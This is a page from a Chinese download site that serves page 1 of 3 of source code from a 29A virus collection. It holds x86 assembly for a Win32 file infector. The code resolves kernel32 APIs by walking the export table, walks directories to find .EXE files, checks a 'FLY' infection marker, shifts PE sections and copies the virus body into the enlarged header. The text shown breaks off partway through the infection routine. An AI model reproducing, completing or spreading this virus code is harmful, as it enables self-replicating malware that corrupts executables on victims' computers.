⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 29a-7.012

📁 从29A上收集的病毒源码
💻 012
📖 第 1 页 / 共 3 页
字号:
  	ADD     EDI, EDX                                             ; EDI -> exp table RVA
  	MOV     ESI, [EDI].IMAGE_EXPORT_DIRECTORY.AddressOfNames     ; ESI -> exp symbol names chain RVA
  	ADD     ESI, EDX
  	SUB     EBX, EBX                                             ; EBX = chain index
  	
  process_name:
        ; compare API strings
        LODSD
        PUSHAD
        LEA     EDI, [EAX + EDX]
        MOV     ESI, [ESP + 8 + SIZEOF PUSHA_STRUCT + 12]
        MOV     ECX, [ESP + 12 + SIZEOF PUSHA_STRUCT + 12]
        REPZ    CMPSB
        POPAD
        JZ      API_name_found_in_chain  	
  	INC     EBX
  	CMP     EBX, [EDI].IMAGE_EXPORT_DIRECTORY.NumberOfNames
  	JNZ     process_name
  	; (all names processed but nothing found)
  	SUB     EAX, EAX
  	JZ      @@GetProcAddr_exit
  	
  API_name_found_in_chain:
        ; grab corresponding ordinal
        MOV     EAX, [EDI].IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals
        ADD     EAX, EDX                                             ; EAX -> ordinal chain ptr
        MOVZX   ECX, WORD PTR [EAX + EBX*2]                          ; ECX -> symbol ordinal
        
        ; finally get symbol RVA
        MOV     EAX, [EDI].IMAGE_EXPORT_DIRECTORY.AddressOfFunctions
        ADD     EAX, EDX                                             ; EAX -> symbol RVA chain ptr
        MOV     EAX, [EAX + ECX*4]	
        ADD     EAX, EDX                                             ; EAX -> symbol ptr
  @@GetProcAddr_exit:
        POP     EDI
        POP     ESI
        POP     EBX
	RET     12
	
;
; Reserved Regs: NO
;
GrabAPIs:
	LEA     ESI, [EBP + OFFSET API_table]                        ; ESI -> first API table entry
  NextApiTableEntry:
	; receive API addr of current struct
	MOVZX   EDI, BYTE PTR [ESI]                                  ; EDI -> API str length
	PUSH    EDI
	LEA     EAX, [ESI + 5]
	PUSH    EAX
	PUSH    [EBP + dwK32Base]
	CALL    GetProcAddr
	INC     ESI                                                  ; ESI += 1
	MOV     [ESI], EAX
	; process next struct
	ADD     ESI, EDI
	ADD     ESI, 4
	SUB     EAX, EAX
	CMP     BYTE PTR [ESI], AL
	JNZ	NextApiTableEntry
	RET
	
;
; Args:
; EBX - delta
;
; Reserved Regs: NO
;
TraceAndInfectDirectory PROC
	LOCAL   WFD                 : WIN32_FIND_DATA
	LOCAL   cPath[MAX_PATH]     : BYTE
	LOCAL   hFind               : HANDLE
	
	; get current directory
	LEA     ESI, cPath                                           ; ESI -> path buffer
	PUSH    ESI
	PUSH    MAX_PATH
	CALL    [EBX + _GetCurrentDirectory]
  process_current_dir:
        PUSH    EAX                                                  ; reserve path length
        PUSH    ESI
        CALL    [EBX + _SetCurrentDirectory]
        POP     EAX
        LEA     EDI, [ESI + EAX]
	MOV     AX, "*\"
	STOSW
	MOV     AX, "E."
	STOSW
	MOV     AX, "EX"
	STOSW
	SUB     EAX, EAX
	STOSB
	LEA     EDI, WFD                                             ; EDI -> WIN32_FIND_DATA ptr
	PUSH    EDI
	PUSH    ESI
	CALL    [EBX + _FindFirstFile]
	MOV     hFind, EAX
	INC     EAX
	JZ      trace_previous_dir
  next_file_in_dir:
  	LEA     EAX, [EDI].WIN32_FIND_DATA.cFileName
  	PUSH    EAX
  	CALL    InfectFile
  	PUSH    EDI
  	PUSH    hFind
  	CALL    [EBX + _FindNextFile]
  	DEC     EAX
  	JZ      next_file_in_dir  	
  trace_previous_dir:
        PUSH    ESI
        CALL    WipeLastDirInPath
        JC      process_current_dir                  
	; cleanup
	PUSH    hFind
	CALL    [EBX + _FindClose]
  TraceAndInfectDirectory_exit:
	RET
TraceAndInfectDirectory ENDP

;
; if the last directory was successfully ripped from path string then the carry flag is set
; addionally the new path string size is returned in EAX
;
; Args:
; [ESP +  4] - path buffer
;
; Reserved Regs: Win32 API
;
WipeLastDirInPath:
ARG_1 EQU [ESP + 4]
	PUSH    EBX
	PUSH    ESI
	PUSH    EDI
	CLC
	CLD
	SUB     EAX, EAX
	MOV     EDI, ARG_1
	MOV     ECX, MAX_PATH
	REPNZ   SCASB
	STD
	MOV     AL, "\"
	NEG     ECX
	ADD     ECX, MAX_PATH
	REPNZ   SCASB
	TEST    ECX, ECX
	JZ      WipeLastDirInPath_exit
	REPNZ   SCASB
	TEST    ECX, ECX
	JZ      WipeLastDirInPath_exit
	CMP     ECX, 1                                               ; will result be a root path (e.g. C:\) ?
	JZ	root_path
	MOV     BYTE PTR [EDI + 1], 0                                ; set new NUL terminator
	JMP     SHORT ret_new_str
  root_path:
        MOV     BYTE PTR [EDI + 2], 0
  ret_new_str:
	LEA     EAX, [ECX + 1]                                       ; EAX -> return string size
	STC
  WipeLastDirInPath_exit:
        POP     EDI
        POP     ESI
        POP     EBX
	CLD
	RET     4

;
; Args:
; EBX - delta
;
; Reserved Regs: ALL
; 
; Returns: void
;
;
InfectFile PROC szFname
	LOCAL   hFile           : HANDLE
	LOCAL   dwFSize         : DWORD
	LOCAL   dwc             : DWORD
	LOCAL   b64Bit          : DWORD
	LOCAL   dwHdrSizeDelta  : DWORD
;	LOCAL   dwRealHdrSize   : DWORD
	LOCAL   dwFirstSecRO    : DWORD
	LOCAL   pFirstSecHdr    : DWORD
	LOCAL   dwMemBlockSize  : DWORD
	LOCAL   pVirusBody      : DWORD
;	LOCAL   dwViriiOffset   : DWORD  ; Offset (without any Mem- or ImageBase)
	LOCAL   dwVictimBase    : DWORD

	PUSHAD
	; -> get write access to the file and map it to memory
	XOR     EAX, EAX
	PUSH    EAX
	PUSH    FILE_ATTRIBUTE_NORMAL
	PUSH    OPEN_EXISTING
	PUSH    EAX
	PUSH    FILE_SHARE_WRITE + FILE_SHARE_READ
	PUSH    GENERIC_WRITE + GENERIC_READ
	PUSH    szFname
	CALL    [EBX + _CreateFile]
	MOV     hFile, EAX
	INC     EAX
	JZ      InfectFile_exit
	SUB     EAX, EAx
	PUSH    EAX
	PUSH    hFile
	CALL    [EBX + _GetFileSize]
	MOV     dwFSize, EAX
	ADD     EAX, 01000h                                          ; add max hdr size to size of mem
	PUSH    EAX
	PUSH    GMEM_FIXED OR GMEM_ZEROINIT
	CALL    [EBX + _GlobalAlloc]
	OR      EAX, EAX
	JZ      cleanup_free_mem
	MOV     ESI, EAX                                             ; ESI -> mem ptr
	SUB     EAX, EAX
	PUSH    EAX
	LEA     EAX, dwc
	PUSH    EAX
	PUSH    dwFSize
	PUSH    ESI
	PUSH    hFile
	CALL    [EBX + _ReadFile]
	
	; -> get ptr to NT hdrs and check whether the file was already infect
	PUSH    EBP
	MOV     EBP, EBX
	PUSH    ESI
	CALL    GetNTHeaders
	POP     EBP
	OR      EAX, EAX
	JZ      cleanup_free_mem
	MOV     EDI, EAX                                             ; EDI -> NT hdrs
	MOV     EAX, [EDI].IMAGE_NT_HEADERS.FileHeader.PointerToSymbolTable
	ADD     EAX, OBFUSCATION_VAL
	CMP     EAX, FLY_TRADEMARK + OBFUSCATION_VAL
	JZ      cleanup_free_mem
	
	;-> check for PE32+
	SUB     EAX, EAX
	CMP     WORD PTR [EDI].IMAGE_NT_HEADERS.OptionalHeader.Magic, IMAGE_NT_OPTIONAL_HDR64_MAGIC
	SETZ    AL
	MOV     b64Bit, EAX
	
	PUSH    EBX                                                  ; !!! reserve unneeded delta to stack

	;-> get section hdr ptr
	MOV     AX, [EDI].IMAGE_NT_HEADERS.FileHeader.SizeOfOptionalHeader
	LEA     EBX, [EAX + EDI + 4 + SIZEOF IMAGE_FILE_HEADER]      ; EBX -> section hdr table ptr
	MOV     pFirstSecHdr, EBX
	
	;
	;-> infect file image
	;
	
	; -> get real size of hdrs, test whether the virus body has enough space there
	SUB     EDX, EDX
	MOV     EAX, SIZEOF IMAGE_SECTION_HEADER
	MOVZX   ECX, [EDI].IMAGE_NT_HEADERS.FileHeader.NumberOfSections
	MUL     ECX
	MOVZX   EDX, [EDI].IMAGE_NT_HEADERS.FileHeader.SizeOfOptionalHeader
	LEA     EDX, [EAX + EDX + 4 + SIZEOF IMAGE_FILE_HEADER]
	ADD     EDX, [ESI].IMAGE_DOS_HEADER.e_lfanew                  ; (EDX = real size of headers)
;  	MOV     dwRealHdrSize, EDX
  	NEG     EDX
  	ADD     EDX, 01000h                                           ; EDX -> delta to hdr with 0x1000 size
  	CMP     EDX, FLY_BODY_SIZE                                    ; enough size in header ?
  	JGE     @F
  	POP     EBX
  	JMP     cleanup_free_mem
  @@:
  	; -> get the RawOffset of the first section
  	SUB     EDX, EDX
  	DEC     EDX                                                  ; EDX -> MAX_DWORD
  	MOV     EAX, EBX                                             ; EAX -> first section header
  	MOVZX   ECX, [EDI].IMAGE_NT_HEADERS.FileHeader.NumberOfSections
  scan_sec_hdr_for_low_RO:
        CMP     [EAX].IMAGE_SECTION_HEADER.PointerToRawData, EDX
        JAE     @F
        MOV     EDX, [EAX].IMAGE_SECTION_HEADER.PointerToRawData
  @@:
        ADD     EAX, SIZEOF IMAGE_SECTION_HEADER                     ; EAX += sizeof(IMAGE_SECTION_HEADER)
        LOOP    scan_sec_hdr_for_low_RO
        MOV     dwFirstSecRO, EDX
        NEG     EDX
        ADD     EDX, 01000h
        MOV     dwHdrSizeDelta, EDX
        
	POP     EBX                                                  ; restore delta from stack -> EBX        
  	
  	; -> patch the file image, so that it'll have a SizeOfHeaders of 0x1000
        ; move all sections by the calucalated delta back
;        INT     3
        MOV     EDX, dwFirstSecRO
        NEG     EDX
        ADD     EDX, dwFSize                                         ; EDX -> mem block size
        MOV     dwMemBlockSize, EDX
        PUSH    EDX
        PUSH    GMEM_FIXED OR GMEM_ZEROINIT
        CALL    [EBX + _GlobalAlloc]
        TEST    EAX, EAX
        JZ      cleanup_free_mem
        ; sections -> memory buffer
        XCHG    EDX, EAX                                             ; EDX -> mem block ptr
        PUSH    dwMemBlockSize
        PUSH    EDX
        MOV     EAX, dwFirstSecRO
        ADD     EAX, ESI                                             ; EAX -> ptr to first section
        PUSH    EAX
        CALL    memcpy
        ; memory buffer -> new location for sections (offset + dwHdrSizeDelta)
        PUSH     dwMemBlockSize
        LEA      EAX, [ESI + 01000h]
        PUSH     EAX
        PUSH     EDX
        CALL     memcpy
        
        PUSH    EDI
        CALL    [EBX + _GlobalFree]        
        
        ;-> fix section header table
        PUSH    EBX                                                  ; ! reserve EBX
        MOVZX   ECX, [EDI].IMAGE_NT_HEADERS.FileHeader.NumberOfSections
        MOV     EAX, pFirstSecHdr                                    ; EAX -> first section hdr
        MOV     EDX, dwHdrSizeDelta                                  ; EDX -> hdr delta
        SUB     EBX, EBX                                             ; EBX -> 0
  fix_and_replace_section:
        CMP     [EAX].IMAGE_SECTION_HEADER.PointerToRawData, EBX
        JZ      @F
        ADD     [EAX].IMAGE_SECTION_HEADER.PointerToRawData, EDX
        @@:
        ADD     EAX, SIZEOF IMAGE_SECTION_HEADER
  	LOOP    fix_and_replace_section	
  	POP     EBX                                                  ; ! restore EBX
  	
        ;-> insert virus body after the SectionHeaderTable
;	INT     3
        PUSHAD
        LEA     EDI, [ESI + VIRUS_OFFSET]                            ; EDI -> ptr to the end of the SectionHeaderTable
        LEA     ESI, [EBX + FLY_START]                               ; ESI -> start of the virus body
        MOV     ECX, FLY_BODY_SIZE
        REP     MOVSB
        POPAD

  	;-> insert EntryPoint RVA and ImageBase into virus body
  	LEA     EDX, [ESI + VIRUS_OFFSET]                            ; EDX -> virus body ptr (in victim)
  	MOV     pVirusBody, EDX

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -